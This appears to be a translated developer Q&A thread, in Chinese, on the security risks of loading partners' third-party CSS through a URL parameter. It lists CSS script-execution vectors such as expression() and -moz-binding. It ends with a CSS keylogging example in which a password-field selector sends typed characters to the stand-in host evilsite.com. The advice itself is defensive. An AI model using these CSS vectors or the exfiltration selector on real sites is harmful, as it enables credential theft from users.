我的目标是允许合作伙伴通过将其样式表的链接作为URL参数传递给我们来自定义其着陆页面的外观和感觉。但是,通过JavaScript加载第三方CSS是否存在安全或浏览器兼容性问题?
CSS文件中。
expressions(code)
,behavior:url()
,url(javascript:code)
和-moz-binding:url()
都存在潜在的安全问题。
由于行为不能跨域,因此消除了一些威胁,但一般来说仍需要以某种方式对其进行清理。
如果允许用户链接到外部服务器上的CSS,则没有完全可靠的验证方法。 服务器可以检查服务器上的CSS文件以确保没有任何恶意内容,但是如果用户更改样式表怎么办? 您必须不断检查样式表。 此外,服务器可能会向服务器IP地址提供不同的信息,以尝试绕过验证方法。
老实说,我建议将CSS存储在自己的服务器上。只需使用正则表达式解析器简单地运行它即可从上述可能的恶意代码中删除。
CSS表达式只在IE 6-7中有效,但允许使用内联JS(通常用于计算要设置的值)。
例如:
/* set bgcolor based on time */
div.title {
background-color: expression( (new Date()).getHours() % 2 ? "#B8D4FF" : "#F08A00" );
}
然而,这可能被用于进行恶意活动,因此我认为值得进行一些测试。
如果第三方被黑客攻击并替换了良性CSS为恶意CSS,您可能会面临以下风险:
expressions(code)
、behavior:url()
、url(javascript:code)
和-moz-binding:url()
运行脚本的旧版浏览器。这可能已经过时,但在极少数情况下仍然相关。最重要的是
加载第三方CSS有一定的危险性,因为在第三方遭受攻击时会增加攻击面。如果可能的话,将已知的安全版本的第三方CSS存储在您自己的服务器上并提供服务(基本上是将其转换为第一方)。
* CSS外泄攻击 - 请参见https://github.com/maxchehab/CSS-Keylogging。例如,此CSS将告诉攻击者用户在密码字段中键入了字符“a”。
input[type="password"][value$="a"] {
background-image: url("http://evilsite.com/a");
}